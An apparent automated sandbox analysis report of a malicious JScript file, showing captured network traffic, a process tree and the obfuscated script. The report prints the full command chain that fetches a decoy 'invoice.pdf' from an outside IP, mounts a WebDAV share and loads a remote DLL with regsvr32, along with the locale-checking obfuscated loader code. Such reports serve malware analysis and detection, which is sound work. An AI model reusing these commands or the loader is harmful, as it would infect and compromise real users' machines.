Jan 13, 2025 18:53:12.223423958 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 13, 2025 18:53:12.223438025 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 13, 2025 18:53:12.223454952 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 13, 2025 18:53:12.223469019 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 13, 2025 18:53:12.223484993 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 13, 2025 18:53:12.288973093 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7880	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 18:53:14.113007069 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 18:53:14.919523001 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 17:53:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:53:07
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js"
Imagebase:	0x7ff737740000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:53:08
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll
Imagebase:	0x7ff6c0150000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:53:08
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:53:08
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:53:12
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:53:12
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c0150000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:53:12
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff768170000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:53:13
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:53:13
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:53:13
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1672,i,6192537360341325506,13611222803697906229,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ddtysnceb() {	ddtysnceb() ➔ undefined
1	this[wivzkn + pivxxukp + vzbcty + hqcofic] ( "vmrdieu=[1031,3079,5127,4103,2055,3072];var gyuoygg=this[hytkx+vzbcty+qkziggvn+fwagr+wivzkn+frfet+yleucj+jktwgvecg](this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][dpkrfer+qkziggvn+wivzkn+vzbcty+jktwgvecg+wivzkn+uryvpni+htpnideq+ptsnoesvo+wivzkn+hecagar+jktwgvecg](ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg+fkkuhkma+oypvlan+yksyfglxm+wivzkn+hqcofic+hqcofic)[dtbctwh+wivzkn+zvprpiqz+dtbctwh+wivzkn+vzbcty+wgzbl](kiemo+kbepbym+vnnqx+ahaan+xlxrnv+dpkrfer+focuk+dtbctwh+dtbctwh+vnnqx+ygfoovgox+kudfepwn+xlxrnv+focuk+oypvlan+vnnqx+dtbctwh+spbxgq+dpkrfer+diagclga+yleucj+jktwgvecg+qkziggvn+diagclga+hqcofic+ksyxd+knfyhrel+vzbcty+yleucj+wivzkn+hqcofic+spbxgq+frfet+yleucj+jktwgvecg+wivzkn+qkziggvn+yleucj+vzbcty+jktwgvecg+ubebowc+diagclga+yleucj+vzbcty+hqcofic+spbxgq+knspnfhbi+diagclga+hecagar+vzbcty+hqcofic+wivzkn),16);for(waajl=0;waajl<vmrdieu[hqcofic+wivzkn+yleucj+zvprpiqz+jktwgvecg+yksyfglxm];++waajl){if(gyuoygg==vmrdieu[waajl]){gyuoygg=true;break;}}if(gyuoygg!==true)this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][jebipf+rndeilabv+ubebowc+jktwgvecg]();this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][dpkrfer+qkziggvn+wivzkn+vzbcty+jktwgvecg+wivzkn+uryvpni+htpnideq+ptsnoesvo+wivzkn+hecagar+jktwgvecg](ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg+fkkuhkma+oypvlan+yksyfglxm+wivzkn+hqcofic+hqcofic)[qkziggvn+rndeilabv+yleucj](hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+hytkx+diagclga+ykgxbtipr+wivzkn+qkziggvn+fwagr+yksyfglxm+wivzkn+hqcofic+hqcofic+fkkuhkma+wivzkn+blwfu+wivzkn+ksyxd+ckhszjtnx+dpkrfer+diagclga+mmpgpmi+mmpgpmi+vzbcty+yleucj+wgzbl+ksyxd+ycfzpxwgr+frfet+yleucj+pivxxukp+diagclga+lokyft+wivzkn+ckhszjtnx+ffnficgdm+wivzkn+htpnideq+dtbctwh+wivzkn+zfyvh+rndeilabv+wivzkn+fwagr+jktwgvecg+ksyxd+ckhszjtnx+uryvpni+rndeilabv+jktwgvecg+dfiefejgr+ubebowc+hqcofic+wivzkn+ksyxd+dkhxub+jktwgvecg+wivzkn+mmpgpmi+hytkx+dkhxub+spbxgq+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+wgzbl+uxngdbml+ksyxd+yksyfglxm+jktwgvecg+jktwgvecg+hytkx+dzhdgfk+kstcfmtbu+kstcfmtbu+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+kstcfmtbu+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+yksyfglxm+hytkx+ycfzpxwgr+gpizrkbx+gpizrkbx+fwagr+jktwgvecg+vzbcty+qkziggvn+jktwgvecg+ksyxd+dkhxub+jktwgvecg+wivzkn+mmpgpmi+hytkx+dkhxub+spbxgq+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+wgzbl+uxngdbml+gpizrkbx+gpizrkbx+hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+yleucj+wivzkn+jktwgvecg+ksyxd+rndeilabv+fwagr+wivzkn+ksyxd+spbxgq+spbxgq+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+ahvvrz+zxvgcz+zxvgcz+zxvgcz+zxvgcz+spbxgq+wgzbl+vzbcty+pivxxukp+ykgxbtipr+ykgxbtipr+ykgxbtipr+qkziggvn+diagclga+diagclga+jktwgvecg+spbxgq+gpizrkbx+gpizrkbx+hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+qkziggvn+wivzkn+zvprpiqz+fwagr+pivxxukp+qkziggvn+ojxvh+amwpbzgic+ksyxd+kstcfmtbu+fwagr+ksyxd+spbxgq+spbxgq+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+ahvvrz+zxvgcz+zxvgcz+zxvgcz+zxvgcz+spbxgq+wgzbl+vzbcty+pivxxukp+ykgxbtipr+ykgxbtipr+ykgxbtipr+qkziggvn+diagclga+diagclga+jktwgvecg+spbxgq+rdoesnwy+rdoesnwy+ucxcfhj+amwpbzgic+amwpbzgic+rdoesnwy+ezxxosu+wjlmjt+ezxxosu+wjlmjt+rdoesnwy+fyxyv+ogpadnds+fyxyv+fkkuhkma+wgzbl+hqcofic+hqcofic,0,false);" );	eval("vmrdieu=[1031,3079,5127,4103,2055,3072];var gyuoygg=this[hytkx+vzbcty+qkziggvn+fwagr+wivzkn+frfet+yleucj+jktwgvecg](this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][dpkrfer+qkziggvn+wivzkn+vzbcty+jktwgvecg+wivzkn+uryvpni+htpnideq+ptsnoesvo+wivzkn+hecagar+jktwgvecg](ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg+fkkuhkma+oypvlan+yksyfglxm+wivzkn+hqcofic+hqcofic)[dtbctwh+wivzkn+zvprpiqz+dtbctwh+wivzkn+vzbcty+wgzbl](kiemo+kbepbym+vnnqx+ahaan+xlxrnv+dpkrfer+focuk+dtbctwh+dtbctwh+vnnqx+ygfoovgox+kudfepwn+xlxrnv+focuk+oypvlan+vnnqx+dtbctwh+spbxgq+dpkrfer+diagclga+yleucj+jktwgvecg+qkziggvn+diagclga+hqcofic+ksyxd+knfyhrel+vzbcty+yleucj+wivzkn+hqcofic+spbxgq+frfet+yleucj+jktwgvecg+wivzkn+qkziggvn+yleucj+vzbcty+jktwgvecg+ubebowc+diagclga+yleucj+vzbcty+hqcofic+spbxgq+knspnfhbi+diagclga+hecagar+vzbcty+hqcofic+wivzkn),16);for(waajl=0;waajl<vmrdieu[hqcofic+wivzkn+yleucj+zvprpiqz+jktwgvecg+yksyfglxm];++waajl){if(gyuoygg==vmrdieu[waajl]){gyuoygg=true;break;}}if(gyuoygg!==true)this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][jebipf+rndeilabv+ubebowc+jktwgvecg]();this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][dpkrfer+qkziggvn+wivzkn+vzbcty+jktwgvecg+wivzkn+uryvpni+htpnideq+ptsnoesvo+wivzkn+hecagar+jktwgvecg](ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg+fkkuhkma+oypvlan+yksyfglxm+wivzkn+hqcofic+hqcofic)[qkziggvn+rndeilabv+yleucj](hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+hytkx+diagclga+ykgxbtipr+wivzkn+qkziggvn+fwagr+yksyfglxm+wivzkn+hqcofic+hqcofic+fkkuhkma+wivzkn+blwfu+wivzkn+ksyxd+ckhszjtnx+dpkrfer+diagclga+mmpgpmi+mmpgpmi+vzbcty+yleucj+wgzbl+ksyxd+ycfzpxwgr+frfet+yleucj+pivxxukp+diagclga+lokyft+wivzkn+ckhszjtnx+ffnficgdm+wivzkn+htpnideq+dtbctwh+wivzkn+zfyvh+rndeilabv+wivzkn+fwagr+jktwgvecg+ksyxd+ckhszjtnx+uryvpni+rndeilabv+jktwgvecg+dfiefejgr+ubebowc+hqcofic+wivzkn+ksyxd+dkhxub+jktwgvecg+wivzkn+mmpgpmi+hytkx+dkhxub+spbxgq+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+wgzbl+uxngdbml+ksyxd+yksyfglxm+jktwgvecg+jktwgvecg+hytkx+dzhdgfk+kstcfmtbu+kstcfmtbu+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+kstcfmtbu+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+yksyfglxm+hytkx+ycfzpxwgr+gpizrkbx+gpizrkbx+fwagr+jktwgvecg+vzbcty+qkziggvn+jktwgvecg+ksyxd+dkhxub+jktwgvecg+wivzkn+mmpgpmi+hytkx+dkhxub+spbxgq+ubebowc+yleucj+pivxxukp+diagclga+ubebowc+hecagar+wivzkn+fkkuhkma+hytkx+wgzbl+uxngdbml+gpizrkbx+gpizrkbx+hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+yleucj+wivzkn+jktwgvecg+ksyxd+rndeilabv+fwagr+wivzkn+ksyxd+spbxgq+spbxgq+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+ahvvrz+zxvgcz+zxvgcz+zxvgcz+zxvgcz+spbxgq+wgzbl+vzbcty+pivxxukp+ykgxbtipr+ykgxbtipr+ykgxbtipr+qkziggvn+diagclga+diagclga+jktwgvecg+spbxgq+gpizrkbx+gpizrkbx+hecagar+mmpgpmi+wgzbl+ksyxd+kstcfmtbu+hecagar+ksyxd+qkziggvn+wivzkn+zvprpiqz+fwagr+pivxxukp+qkziggvn+ojxvh+amwpbzgic+ksyxd+kstcfmtbu+fwagr+ksyxd+spbxgq+spbxgq+wjlmjt+ucxcfhj+ojxvh+fkkuhkma+wjlmjt+rdoesnwy+ojxvh+fkkuhkma+wjlmjt+fkkuhkma+amwpbzgic+fyxyv+ogpadnds+ahvvrz+zxvgcz+zxvgcz+zxvgcz+zxvgcz+spbxgq+wgzbl+vzbcty+pivxxukp+ykgxbtipr+ykgxbtipr+ykgxbtipr+qkziggvn+diagclga+diagclga+jktwgvecg+spbxgq+rdoesnwy+rdoesnwy+ucxcfhj+amwpbzgic+amwpbzgic+rdoesnwy+ezxxosu+wjlmjt+ezxxosu+wjlmjt+rdoesnwy+fyxyv+ogpadnds+fyxyv+fkkuhkma+wgzbl+hqcofic+hqcofic,0,false);") ➔ 0
2	}
3	knspnfhbi = "C";
4	knspnfhbi = "i";
5	knspnfhbi = "b";
6	knspnfhbi = "z";
7	knspnfhbi = "Y";
8	knspnfhbi = "u";
9	knspnfhbi = "C";
10	knspnfhbi = "A";
11	knspnfhbi = "y";
12	knspnfhbi = "L";
13	jebipf = "B";
14	jebipf = "o";
15	jebipf = "E";
16	jebipf = "z";
17	jebipf = "M";
18	jebipf = "l";
19	jebipf = "u";
20	jebipf = "Q";
21	wgzbl = "D";
22	wgzbl = "J";
23	wgzbl = "z";
24	wgzbl = "q";
25	wgzbl = "n";
26	wgzbl = "D";
27	wgzbl = "k";
28	wgzbl = "I";
29	wgzbl = "d";
30	ogpadnds = "Z";
31	ogpadnds = "K";
32	ogpadnds = "v";
33	ogpadnds = "v";
34	ogpadnds = "Z";
35	ogpadnds = "5";
36	kudfepwn = "l";
37	kudfepwn = "v";
38	kudfepwn = "l";
39	kudfepwn = "B";
40	kudfepwn = "c";
41	kudfepwn = "T";
42	pivxxukp = "I";
43	pivxxukp = "C";
44	pivxxukp = "o";
45	pivxxukp = "h";
46	pivxxukp = "i";
47	pivxxukp = "r";
48	pivxxukp = "h";
49	pivxxukp = "v";
50	rndeilabv = "F";
51	rndeilabv = "B";
52	rndeilabv = "k";
53	rndeilabv = "U";
54	rndeilabv = "D";
55	rndeilabv = "E";
56	rndeilabv = "j";
57	rndeilabv = "k";
58	rndeilabv = "Z";
59	rndeilabv = "u";
60	oypvlan = "D";
61	oypvlan = "w";
62	oypvlan = "v";
63	oypvlan = "h";
64	oypvlan = "l";
65	oypvlan = "C";
66	oypvlan = "S";
67	ahvvrz = "o";
68	ahvvrz = "M";
69	ahvvrz = "A";
70	ahvvrz = "l";
71	ahvvrz = "z";
72	ahvvrz = "a";
73	ahvvrz = "@";
74	ffnficgdm = "V";
75	ffnficgdm = "W";
76	ffnficgdm = "e";
77	ffnficgdm = "P";
78	ffnficgdm = "j";
79	ffnficgdm = "B";
80	ffnficgdm = "W";
81	fwagr = "T";
82	fwagr = "a";
83	fwagr = "M";
84	fwagr = "P";
85	fwagr = "l";
86	fwagr = "f";
87	fwagr = "k";
88	fwagr = "R";
89	fwagr = "s";
90	dkhxub = "A";
91	dkhxub = "Y";
92	dkhxub = "D";
93	dkhxub = "t";
94	dkhxub = "c";
95	dkhxub = "F";
96	dkhxub = "J";
97	dkhxub = "%";
98	ptsnoesvo = "V";
99	ptsnoesvo = "o";
100	ptsnoesvo = "h";
101	ptsnoesvo = "g";
102	ptsnoesvo = "p";
103	ptsnoesvo = "x";
104	ptsnoesvo = "g";
105	ptsnoesvo = "h";
106	ptsnoesvo = "o";
107	ptsnoesvo = "j";
108	ucxcfhj = "M";
109	ucxcfhj = "Z";
110	ucxcfhj = "l";
111	ucxcfhj = "I";
112	ucxcfhj = "J";
113	ucxcfhj = "D";
114	ucxcfhj = "O";
115	ucxcfhj = "i";
116	ucxcfhj = "9";
117	ycfzpxwgr = "R";
118	ycfzpxwgr = "h";
119	ycfzpxwgr = "V";
120	ycfzpxwgr = "F";
121	ycfzpxwgr = "e";
122	ycfzpxwgr = "I";
123	ycfzpxwgr = "p";
124	ycfzpxwgr = "q";
125	ycfzpxwgr = "\"";
126	kbepbym = "b";
127	kbepbym = "J";
128	kbepbym = "M";
129	kbepbym = "x";
130	kbepbym = "x";
131	kbepbym = "Z";
132	kbepbym = "y";
133	kbepbym = "p";
134	kbepbym = "K";
135	xlxrnv = "I";
136	xlxrnv = "k";
137	xlxrnv = "h";
138	xlxrnv = "C";
139	xlxrnv = "u";
140	xlxrnv = "p";
141	xlxrnv = "n";
142	xlxrnv = "m";
143	xlxrnv = "_";
144	lokyft = "x";
145	lokyft = "w";
146	lokyft = "l";
147	lokyft = "P";
148	lokyft = "c";
149	lokyft = "k";
150	htpnideq = "A";
151	htpnideq = "k";
152	htpnideq = "V";
153	htpnideq = "Z";
154	htpnideq = "U";
155	htpnideq = "E";
156	htpnideq = "S";
157	htpnideq = "t";
158	htpnideq = "p";
159	htpnideq = "b";
160	ezxxosu = "e";
161	ezxxosu = "o";
162	ezxxosu = "K";
163	ezxxosu = "w";
164	ezxxosu = "v";
165	ezxxosu = "o";
166	ezxxosu = "K";
167	ezxxosu = "7";
168	diagclga = "E";
169	diagclga = "q";
170	diagclga = "j";
171	diagclga = "M";
172	diagclga = "D";
173	diagclga = "w";
174	diagclga = "m";
175	diagclga = "o";
176	ojxvh = "U";
177	ojxvh = "j";
178	ojxvh = "I";
179	ojxvh = "A";
180	ojxvh = "C";
181	ojxvh = "q";
182	ojxvh = "3";
183	fkkuhkma = "q";
184	fkkuhkma = "T";
185	fkkuhkma = "U";
186	fkkuhkma = "w";
187	fkkuhkma = "M";
188	fkkuhkma = ".";
189	ygfoovgox = "T";
190	ygfoovgox = "q";
191	ygfoovgox = "b";
192	ygfoovgox = "X";
193	ygfoovgox = "v";
194	ygfoovgox = "s";
195	ygfoovgox = "u";
196	ygfoovgox = "s";
197	ygfoovgox = "i";
198	ygfoovgox = "N";
199	rdoesnwy = "n";
200	rdoesnwy = "L";
201	rdoesnwy = "T";
202	rdoesnwy = "Y";
203	rdoesnwy = "f";
204	rdoesnwy = "Z";
205	rdoesnwy = "I";
206	rdoesnwy = "J";
207	rdoesnwy = "4";
208	knfyhrel = "y";
209	knfyhrel = "T";
210	knfyhrel = "B";
211	knfyhrel = "x";
212	knfyhrel = "A";
213	knfyhrel = "p";
214	knfyhrel = "i";
215	knfyhrel = "H";
216	knfyhrel = "A";
217	knfyhrel = "P";
218	hqcofic = "G";
219	hqcofic = "a";
220	hqcofic = "Q";
221	hqcofic = "N";
222	hqcofic = "N";
223	hqcofic = "l";
224	gpizrkbx = "F";
225	gpizrkbx = "E";
226	gpizrkbx = "w";
227	gpizrkbx = "b";
228	gpizrkbx = "g";
229	gpizrkbx = "&";
230	ksyxd = "k";
231	ksyxd = "A";
232	ksyxd = "H";
233	ksyxd = "g";
234	ksyxd = "G";
235	ksyxd = "q";
236	ksyxd = "n";
237	ksyxd = " ";
238	wivzkn = "Q";
239	wivzkn = "k";
240	wivzkn = "d";
241	wivzkn = "m";
242	wivzkn = "L";
243	wivzkn = "M";
244	wivzkn = "e";
245	vzbcty = "G";
246	vzbcty = "z";
247	vzbcty = "v";
248	vzbcty = "h";
249	vzbcty = "S";
250	vzbcty = "G";
251	vzbcty = "Q";
252	vzbcty = "H";
253	vzbcty = "a";
254	kiemo = "D";
255	kiemo = "N";
256	kiemo = "y";
257	kiemo = "i";
258	kiemo = "f";
259	kiemo = "E";
260	kiemo = "H";
261	spbxgq = "P";
262	spbxgq = "p";
263	spbxgq = "X";
264	spbxgq = "A";
265	spbxgq = "G";
266	spbxgq = "v";
267	spbxgq = "o";
268	spbxgq = "O";
269	spbxgq = "\\";
270	qkziggvn = "t";
271	qkziggvn = "L";
272	qkziggvn = "K";
273	qkziggvn = "f";
274	qkziggvn = "t";
275	qkziggvn = "t";
276	qkziggvn = "r";
277	yleucj = "K";
278	yleucj = "l";
279	yleucj = "E";
280	yleucj = "D";
281	yleucj = "p";
282	yleucj = "i";
283	yleucj = "I";
284	yleucj = "M";
285	yleucj = "n";
286	ahaan = "W";
287	ahaan = "G";
288	ahaan = "R";
289	ahaan = "N";
290	ahaan = "E";
291	ahaan = "r";
292	ahaan = "Y";
293	vnnqx = "q";
294	vnnqx = "o";
295	vnnqx = "A";
296	vnnqx = "P";
297	vnnqx = "X";
298	vnnqx = "d";
299	vnnqx = "z";
300	vnnqx = "r";
301	vnnqx = "G";
302	vnnqx = "E";
303	frfet = "a";
304	frfet = "T";
305	frfet = "W";
306	frfet = "J";
307	frfet = "K";
308	frfet = "o";
309	frfet = "D";
310	frfet = "I";
311	jktwgvecg = "a";
312	jktwgvecg = "D";
313	jktwgvecg = "U";
314	jktwgvecg = "d";
